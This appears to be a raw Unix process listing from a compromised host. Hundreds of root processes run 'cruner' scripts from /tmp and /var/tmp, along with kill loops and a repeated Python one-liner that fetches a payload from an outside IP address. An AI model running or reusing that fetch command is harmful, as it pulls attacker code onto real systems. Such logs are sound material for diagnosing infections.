/var/tmp/cruner > root 10164 1567 0 - ? 0:00 <defunct> > root 23413 25548 0 15:46:05 ? 0:00 sleep 60 > root 25885 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28975 15958 0 15:45:53 ? 0:00 sleep 60 > root 4545 24584 0 - ? 0:00 <defunct> > root 17341 19375 0 15:45:26 ? 0:00 bash -sh > root 28159 9502 0 15:45:53 ? 0:00 xargs kill -9 > root 26264 26260 0 15:45:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14165 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8597 7513 0 15:45:20 ? 0:00 sleep 60 > root 12031 11993 0 - ? 0:00 <defunct> > root 11868 8951 0 - ? 0:00 <defunct> > root 2147 28056 0 15:44:55 ? 0:00 bash -sh > root 16245 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3740 12588 0 15:45:54 ? 0:00 bash -sh > root 10896 7942 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4178 14555 0 - ? 0:00 <defunct> > root 2114 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11184 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4204 4928 0 - ? 0:00 <defunct> > root 17882 26810 0 15:46:00 ? 0:00 sh /tmp/cruner > root 2786 6431 0 15:42:13 ? 0:00 bash -sh > root 12665 19150 0 - ? 0:00 <defunct> > root 22198 28464 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13973 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 834 7207 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5087 9396 0 15:45:35 ? 0:00 sleep 60 > root 830 7286 0 - ? 0:00 <defunct> > root 6091 9714 0 - ? 0:00 <defunct> > root 27586 2613 0 15:45:03 ? 0:00 bash -sh > root 27333 1966 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 14328 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22001 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8635 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18925 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28775 16788 0 15:45:43 ? 0:00 bash -sh > root 6892 9169 0 - ? 0:00 <defunct> > root 13311 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8404 23014 0 15:45:36 ? 0:00 bash -sh > root 24711 13238 0 - ? 0:00 <defunct> > root 4598 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7319 1468 0 - ? 0:00 <defunct> > root 8119 6948 0 15:45:40 ? 0:00 xargs kill -9 > root 1187 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15764 25057 0 15:45:37 ? 0:00 bash -sh > root 5826 16059 0 15:45:20 ? 0:00 sleep 60 > root 11738 28581 0 15:44:38 ? 0:00 bash -sh > root 4567 1 0 20:45:56 ? 0:00 sh /var/tmp/cruner > root 16928 24109 0 15:46:08 ? 0:00 sleep 60 > root 11431 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27921 8104 0 15:45:57 ? 0:00 sleep 60 > root 14765 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22771 22770 0 15:45:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21162 12698 0 - ? 0:00 <defunct> > root 23903 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25565 19523 0 15:45:13 ? 0:00 sleep 60 > root 3080 9725 0 15:45:19 ? 0:00 sleep 60 > root 6703 914 0 - ? 0:00 <defunct> > root 29163 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3086 11344 0 - ? 0:00 <defunct> > root 16942 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3541 14145 0 15:44:42 ? 0:00 bash -sh > root 24310 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14594 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19688 11896 0 - ? 0:00 <defunct> > root 29980 15604 0 - ? 0:00 <defunct> > root 23357 4868 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 23272 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23918 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13337 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25734 21060 0 - ? 0:00 <defunct> > root 6283 14782 0 15:46:12 ? 0:00 sleep 60 > root 16505 18272 0 15:44:57 ? 0:00 bash -sh > root 16129 1062 0 15:45:46 ? 0:00 bash -sh > root 19377 9952 0 15:45:46 ? 0:00 sleep 60 > root 15275 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7330 14509 0 15:45:09 ? 0:00 sh /var/tmp/cruner > root 14120 18156 0 15:44:35 ? 0:00 bash -sh > root 9960 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2888 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 2617 3744 0 15:46:02 ? 0:00 sleep 60 > root 28472 15112 0 - ? 0:00 <defunct> > root 12577 11027 0 - ? 0:00 <defunct> > root 15901 19291 0 15:46:08 ? 0:00 bash -sh > root 809 15669 0 15:45:31 ? 0:00 bash -sh > root 29232 4243 0 - ? 0:00 <defunct> > root 26735 24427 0 - ? 0:00 <defunct> > root 5628 18720 0 15:46:03 ? 0:00 sleep 60 > root 14369 14813 0 15:44:16 ? 0:00 bash -sh > root 19794 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29644 15084 0 - ? 0:00 <defunct> > root 19539 12566 0 15:45:51 ? 0:00 /bin/ksh -p /bin/kill -9 > root 18584 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14311 27710 0 15:45:59 ? 0:00 bash -sh > root 12226 18462 0 - ? 0:00 <defunct> > root 21484 15115 0 - ? 0:00 <defunct> > root 18460 1628 0 15:44:53 ? 0:00 bash -sh > root 6936 11402 0 - ? 0:00 <defunct> > root 10977 29972 0 15:45:05 ? 0:00 bash -sh > root 16520 1 0 17:22:25 ? 0:01 sh /var/tmp/cruner > root 21293 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11775 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15138 16875 0 15:45:51 ? 0:00 bash -sh > root 23960 23947 0 - ? 0:00 <defunct> > root 2516 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19953 27673 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 15282 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12188 4848 0 15:45:59 ? 0:00 bash -sh > root 26839 20327 0 15:46:02 ? 0:00 bash -sh > root 28678 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24995 29489 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 3315 15105 0 - ? 0:00 <defunct> > root 12654 16770 0 - ? 0:00 <defunct> > root 5363 5307 0 - ? 0:00 <defunct> > root 26194 1 0 19:00:22 ? 0:00 sh /var/tmp/cruner > root 24109 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20203 26127 0 15:45:22 ? 0:00 sleep 60 > root 25875 22359 0 - ? 0:00 <defunct> > root 15334 13926 0 - ? 0:00 <defunct> > root 27160 8625 0 - ? 0:00 <defunct> > root 3278 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25953 25938 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26914 2918 0 15:46:02 ? 0:00 bash -sh > root 3000 2942 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 27268 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15430 19613 0 15:45:41 ? 0:00 sleep 60 > root 20497 13120 0 - ? 0:00 <defunct> > root 7826 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 558 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17948 7569 0 15:44:57 ? 0:00 bash -sh > root 3479 17186 0 15:45:09 ? 0:00 bash -sh > root 9486 12766 0 - ? 0:00 <defunct> > root 14414 28817 0 15:46:13 ? 0:00 bash -sh > root 10267 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20421 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 987 13645 0 15:45:27 ? 0:00 sleep 60 > root 5128 13946 0 15:45:31 ? 0:00 sleep 60 > root 1884 1591 0 15:45:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26164 19219 0 15:45:07 ? 0:00 bash -sh > root 24080 19893 0 15:46:05 ? 0:00 sleep 60 > root 23306 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28624 16660 0 15:45:18 ? 0:00 sleep 60 > root 29787 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6645 4239 0 15:45:58 ? 0:00 bash -sh > root 28668 9796 0 15:44:59 ? 0:00 bash -sh > root 1532 15635 0 15:46:06 ? 0:00 bash -sh > root 27063 27024 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25463 19535 0 - ? 0:00 <defunct> > root 22527 1137 0 15:45:06 ? 0:00 bash -sh > root 8514 25011 0 15:45:25 ? 0:00 sleep 60 > root 7240 22254 0 - ? 0:00 <defunct> > root 27525 16080 0 15:45:53 ? 0:00 sleep 60 > root 9653 20398 0 - ? 0:00 <defunct> > root 20005 25186 0 15:44:18 ? 0:00 bash -sh > root 12217 28289 0 15:46:13 ? 0:00 bash -sh > root 18471 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20918 21345 0 15:46:09 ? 0:00 sleep 60 > root 9966 903 0 15:45:21 ? 0:00 sleep 60 > root 16263 18770 0 15:44:52 ? 0:00 bash -sh > root 29182 21543 0 15:45:24 ? 0:00 sleep 60 > root 2465 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2320 17416 0 - ? 0:00 <defunct> > root 22158 21919 0 - ? 0:00 <defunct> > root 25217 11801 0 15:46:10 ? 0:00 xargs kill -9 > root 12800 18690 0 15:45:25 ? 0:00 bash -sh > root 3018 26783 0 15:46:06 ? 0:00 sleep 60 > root 16405 12926 0 15:46:08 ? 0:00 sleep 60 > root 12076 9776 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 25034 2841 0 15:45:23 ? 0:00 sleep 60 > root 8235 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25729 21738 0 15:44:54 ? 0:00 sh /tmp/cruner > root 18426 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22949 16790 0 15:45:43 ? 0:00 bash -sh > root 3326 14858 0 - ? 0:00 <defunct> > root 22829 27207 0 15:45:52 ? 0:00 sh /var/tmp/cruner > root 8014 4887 0 15:45:36 ? 0:00 bash -sh > root 21521 16135 0 15:45:52 ? 0:00 sleep 60 > root 4222 11233 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6003 28135 0 15:43:42 ? 0:00 bash -sh > root 14239 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10941 11249 0 15:45:50 ? 0:00 bash -sh > root 22699 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11306 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25602 23799 0 15:45:43 ? 0:00 sleep 60 > root 23807 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24100 16807 0 15:45:26 ? 0:00 bash -sh > root 21614 29602 0 15:44:58 ? 0:00 bash -sh > root 763 761 0 15:45:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14064 12313 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14532 7558 0 - ? 0:00 <defunct> > root 8310 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26124 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7511 21492 0 15:43:37 ? 0:00 bash -sh > root 10936 1334 0 - ? 0:00 <defunct> > root 16268 19578 0 15:44:52 ? 0:00 bash -sh > root 13132 3223 0 15:45:21 ? 0:00 sleep 60 > root 2094 13296 0 15:46:06 ? 0:00 sleep 60 > root 28137 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25389 1218 0 15:45:23 ? 0:00 sleep 60 > root 13370 11926 0 - ? 0:00 <defunct> > root 5989 5978 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1775 25015 0 15:45:27 ? 0:00 sleep 60 > root 29653 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6834 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17310 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13576 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16754 9809 0 15:46:00 ? 0:00 sh /tmp/cruner > root 16205 13346 0 - ? 0:00 <defunct> > root 2883 14025 0 - ? 0:00 <defunct> > root 3343 29168 0 - ? 0:00 <defunct> > root 15831 439 0 15:46:08 ? 0:00 bash -sh > root 17544 1118 0 15:45:56 ? 0:00 sh /var/tmp/cruner > root 12695 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5219 8859 0 - ? 0:00 <defunct> > root 7199 14899 0 15:45:20 ? 0:00 sleep 60 > root 10887 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1230 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9876 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20627 16500 0 15:45:17 ? 0:00 sleep 60 > root 1536 10006 0 - ? 0:00 <defunct> > root 14659 22466 0 15:41:29 ? 0:00 bash -sh > root 8132 9298 0 15:45:45 ? 0:00 bash -sh > root 21789 10912 0 15:45:42 ? 0:00 bash -sh > root 20178 23184 0 15:40:40 ? 0:00 bash -sh > root 16737 15536 0 - ? 0:00 <defunct> > root 23347 28110 0 15:43:04 ? 0:00 bash -sh > root 7950 14584 0 15:45:54 ? 0:00 sleep 60 > root 17830 6415 0 15:44:06 ? 0:00 bash -sh > root 15609 28530 0 - ? 0:00 <defunct> > root 22630 6858 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18487 17484 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4749 20507 0 15:45:19 ? 0:00 bash -sh > root 4444 15327 0 - ? 0:00 <defunct> > root 4095 20359 0 15:44:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18844 16598 0 15:46:09 ? 0:00 bash -sh > root 20724 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1528 1504 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6648 29422 0 15:45:54 ? 0:00 bash -sh > root 17870 4486 0 15:45:56 ? 0:00 sh /var/tmp/cruner > root 29444 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29066 21535 0 15:45:27 ? 0:00 sleep 60 > root 28579 5522 0 15:45:08 ? 0:00 bash -sh > root 13943 17887 0 - ? 0:00 <defunct> > root 11660 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 17754 25106 0 15:45:02 ? 0:00 bash -sh > root 8839 11843 0 - ? 0:00 <defunct> > root 22984 19131 0 15:44:44 ? 0:00 bash -sh > root 3751 14107 0 15:45:54 ? 0:00 bash -sh > root 25145 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10493 6238 0 15:44:47 ? 0:00 bash -sh > root 139 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19564 18947 0 15:45:42 ? 0:00 sleep 60 > root 24365 16944 0 15:45:47 ? 0:00 bash -sh > root 19685 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24268 19503 0 15:45:17 ? 0:00 sleep 60 > root 5214 27676 0 15:45:20 ? 0:00 bash -sh > root 9899 489 0 15:45:59 ? 0:00 sleep 60 > root 26133 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5991 23488 0 15:45:31 ? 0:00 sleep 60 > root 10761 18092 0 15:44:51 ? 0:00 bash -sh > root 12604 8302 0 15:46:13 ? 0:00 bash -sh > root 7870 15583 0 15:45:25 ? 0:00 sleep 60 > root 19747 27771 0 15:46:09 ? 0:00 sleep 60 > root 15575 3009 0 15:43:21 ? 0:00 bash -sh > root 9181 15939 0 15:45:15 ? 0:00 bash -sh > root 19248 1 0 03:10:38 ? 0:01 sh /var/tmp/cruner > root 28173 25853 0 15:46:05 ? 0:00 sleep 60 > root 17800 8891 0 15:46:08 ? 0:00 bash -sh > root 26225 24529 0 15:45:07 ? 0:00 bash -sh > root 27827 15242 0 15:45:53 ? 0:00 sleep 60 > root 29288 16316 0 15:45:27 ? 0:00 sleep 60 > root 12898 9807 0 15:46:13 ? 0:00 sh /var/tmp/cruner > root 21555 3302 0 - ? 0:00 <defunct> > root 7044 27751 0 15:46:07 ? 0:00 bash -sh > root 27648 26372 0 15:46:10 ? 0:00 /bin/ksh -p /bin/kill -9 > root 23302 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27735 4591 0 15:45:57 ? 0:00 sleep 60 > root 20353 15335 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8918 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5227 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14127 29012 0 15:45:32 ? 0:00 sleep 60 > root 16132 17305 0 15:46:08 ? 0:00 bash -sh > root 769 25520 0 - ? 0:00 <defunct> > root 20214 27966 0 15:45:12 ? 0:00 bash -sh > root 16646 16475 0 - ? 0:00 <defunct> > root 4127 17325 0 - ? 0:00 <defunct> > root 25404 21662 0 - ? 0:00 <defunct> > root 5566 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24377 2741 0 15:45:27 ? 0:00 sleep 60 > root 17716 5055 0 15:45:22 ? 0:00 sleep 60 > root 4585 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19472 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21396 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3779 16217 0 15:43:18 ? 0:00 bash -sh > root 28340 21337 0 - ? 0:00 <defunct> > root 27979 8593 0 - ? 0:00 <defunct> > root 12720 8712 0 15:45:36 ? 0:00 bash -sh > root 24176 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23951 24539 0 15:46:01 ? 0:00 bash -sh > root 21984 26150 0 15:45:57 ? 0:00 sleep 60 > root 28682 28655 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5624 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17290 481 0 15:43:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23866 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27993 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11221 11214 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1831 11142 0 15:45:58 ? 0:00 bash -sh > root 4616 22883 0 15:46:03 ? 0:00 sleep 60 > root 1466 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15808 18245 0 15:46:04 ? 0:00 sleep 60 > root 8759 19884 0 15:45:45 ? 0:00 bash -sh > root 16084 6827 0 - ? 0:00 <defunct> > root 24800 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8753 15260 0 15:46:07 ? 0:00 bash -sh > root 23900 17341 0 - ? 0:00 <defunct> > root 25935 9833 0 15:43:29 ? 0:00 bash -sh > root 2811 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9735 8409 0 - ? 0:00 <defunct> > root 13801 2736 0 - ? 0:00 <defunct> > root 1989 1941 0 - ? 0:00 <defunct> > root 14304 14573 0 15:46:04 ? 0:00 bash -sh > root 17499 25210 0 - ? 0:00 <defunct> > root 7425 26291 0 - ? 0:00 <defunct> > root 8836 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27966 1 0 17:52:06 ? 0:01 sh /var/tmp/cruner > root 18811 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4665 592 0 - ? 0:00 <defunct> > root 805 2001 0 15:45:58 ? 0:00 sleep 60 > root 4136 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29795 29697 0 15:45:58 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6859 6821 0 15:45:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1462 24065 0 15:46:02 ? 0:00 bash -sh > root 11833 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26053 24806 0 15:45:39 ? 0:00 bash -sh > root 15873 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 22205 22001 0 15:44:53 ? 0:00 bash -sh > root 4947 8426 0 15:46:06 ? 0:00 xargs kill -9 > root 21206 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10100 29517 0 - ? 0:00 <defunct> > root 23589 10622 0 - ? 0:00 <defunct> > root 17866 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 25679 18482 0 15:44:54 ? 0:00 bash -sh > root 11581 15912 0 - ? 0:00 <defunct> > root 13615 29552 0 - ? 0:00 <defunct> > root 20159 6010 0 15:46:09 ? 0:00 sleep 60 > root 4353 14411 0 15:46:06 ? 0:00 bash -sh > root 5381 29299 0 15:45:35 ? 0:00 bash -sh > root 23009 1574 0 - ? 0:00 <defunct> > root 26885 25296 0 15:42:12 ? 0:00 bash -sh > root 10722 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17115 14783 0 - ? 0:00 <defunct> > root 3836 2069 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13969 7041 0 - ? 0:00 <defunct> > root 20591 16685 0 15:44:40 ? 0:00 bash -sh > root 12840 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22264 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21947 26128 0 15:44:53 ? 0:00 bash -sh > root 14656 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1848 10707 0 15:45:31 ? 0:00 sleep 60 > root 29545 8760 0 15:44:10 ? 0:00 bash -sh > root 8202 4601 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4184 14488 0 15:45:40 ? 0:00 bash -sh > root 9819 11057 0 15:46:12 ? 0:00 xargs kill -9 > root 26667 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6410 10653 0 15:46:12 ? 0:00 bash -sh > root 1629 5717 0 - ? 0:00 <defunct> > root 16572 15949 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22789 23480 0 15:45:57 ? 0:00 xargs kill -9 > root 7670 7934 0 15:45:49 ? 0:00 bash -sh > root 14496 4173 0 15:46:08 ? 0:00 sleep 60 > root 27128 14261 0 - ? 0:00 <defunct> > root 24076 23809 0 15:45:02 ? 0:00 bash -sh > root 21071 29785 0 15:43:22 ? 0:00 bash -sh > root 9885 4050 0 15:46:12 ? 0:00 xargs kill -9 > root 23538 18934 0 15:45:43 ? 0:00 sleep 60 > root 13046 19102 0 - ? 0:00 <defunct> > root 14932 24052 0 15:46:08 ? 0:00 xargs kill -9 > root 4119 13432 0 15:45:48 ? 0:00 sleep 60 > root 11969 29333 0 15:43:44 ? 0:00 bash -sh > root 5575 15023 0 15:45:44 ? 0:00 bash -sh > root 22939 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26440 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11942 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4750 17732 0 15:46:06 ? 0:00 sleep 60 > root 4274 25 0 15:45:54 ? 0:00 sleep 60 > root 7441 21470 0 15:44:13 ? 0:00 bash -sh > root 11919 11915 0 - ? 0:00 <defunct> > root 8952 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15192 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19800 20926 0 15:45:51 ? 0:00 bash -sh > root 11887 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14548 689 0 15:45:45 ? 0:00 bash -sh > root 24599 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14361 3482 0 15:43:56 ? 0:00 bash -sh > root 6497 4707 0 15:45:20 ? 0:00 sleep 60 > root 18746 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5793 7357 0 15:45:49 ? 0:00 bash -sh > root 5489 19986 0 - ? 0:00 <defunct> > root 227 28026 0 15:45:24 ? 0:00 sleep 60 > root 19188 27169 0 15:45:42 ? 0:00 sleep 60 > root 27573 8678 0 15:46:02 ? 0:00 sleep 60 > root 4987 16744 0 15:45:09 ? 0:00 bash -sh > root 13868 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5022 20106 0 - ? 0:00 <defunct> > root 2176 22086 0 - ? 0:00 <defunct> > root 6383 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6021 12134 0 15:45:54 ? 0:00 sleep 60 > root 20324 20323 0 - ? 0:00 <defunct> > root 11926 23685 0 15:44:51 ? 0:00 bash -sh > root 28652 24575 0 - ? 0:00 <defunct> > root 14148 23348 0 15:43:56 ? 0:00 bash -sh > root 13944 20151 0 15:45:11 ? 0:00 bash -sh > root 14344 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2704 13383 0 - ? 0:00 <defunct> > root 28971 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13346 9374 0 15:45:50 ? 0:00 bash -sh > root 28842 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7373 15968 0 15:45:04 ? 0:00 bash -sh > root 10299 6883 0 - ? 0:00 <defunct> > root 1405 11164 0 15:45:19 ? 0:00 sleep 60 > root 380 20625 0 15:46:11 ? 0:00 sleep 60 > root 2772 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3506 1268 0 - ? 0:00 <defunct> > root 14721 10031 0 15:44:47 ? 0:00 bash -sh > root 14911 6483 0 - ? 0:00 <defunct> > root 6575 21530 0 15:45:40 ? 0:00 xargs kill -9 > root 2366 29430 0 15:46:06 ? 0:00 sleep 60 > root 18649 7499 0 - ? 0:00 <defunct> > root 6836 16505 0 - ? 0:00 <defunct> > root 13448 13381 0 15:46:08 ? 0:00 xargs kill -9 > root 26151 17210 0 15:45:34 ? 0:00 bash -sh > root 5041 27981 0 15:46:12 ? 0:00 bash -sh > root 28754 26678 0 15:45:34 ? 0:00 sleep 60 > root 1376 6141 0 15:45:48 ? 0:00 bash -sh > root 14350 7219 0 15:45:59 ? 0:00 bash -sh > root 29636 12074 0 - ? 0:00 <defunct> > root 29189 17561 0 - ? 0:00 <defunct> > root 23241 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4877 16237 0 15:45:24 ? 0:00 sleep 60 > root 5590 21888 0 15:46:06 ? 0:00 bash -sh > root 20360 15755 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 15146 7116 0 15:45:55 ? 0:00 bash -sh > root 8897 15716 0 15:45:58 ? 0:00 sleep 60 > root 13213 11494 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 15856 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 3122 14156 0 - ? 0:00 <defunct> > root 3895 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5524 27681 0 15:45:44 ? 0:00 bash -sh > root 26794 1 0 21:23:54 ? 0:00 sh /var/tmp/cruner > root 15558 23219 0 15:45:25 ? 0:00 sh /var/tmp/cruner > root 7663 23397 0 - ? 0:00 <defunct> > root 4625 28142 0 - ? 0:00 <defunct> > root 6605 27546 0 15:45:54 ? 0:00 sleep 60 > root 18509 27033 0 15:43:34 ? 0:00 bash -sh > root 4187 22397 0 - ? 0:00 <defunct> > root 29997 27518 0 15:45:34 ? 0:00 sleep 60 > root 13194 17036 0 - ? 0:00 <defunct> > root 17541 10616 0 15:45:29 ? 0:00 sleep 60 > root 6107 27147 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 2360 25576 0 15:46:11 ? 0:00 sleep 60 > root 16611 12240 0 15:45:26 ? 0:00 sleep 60 > root 12186 12021 0 15:46:08 ? 0:00 bash -sh > root 27412 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28933 4565 0 15:45:34 ? 0:00 sleep 60 > root 1180 18998 0 15:45:48 ? 0:00 sleep 60 > root 22607 20502 0 15:46:01 ? 0:00 bash -sh > root 5923 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6500 24762 0 15:45:54 ? 0:00 sleep 60 > root 19455 11589 0 15:44:53 ? 0:00 bash -sh > root 21765 10542 0 15:45:06 ? 0:00 bash -sh > root 132 24 0 - ? 0:00 <defunct> > root 16752 359 0 - ? 0:00 <defunct> > root 4802 11145 0 - ? 0:00 <defunct> > root 19863 16856 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7888 23922 0 15:46:12 ? 0:00 bash -sh > root 11684 10400 0 15:45:15 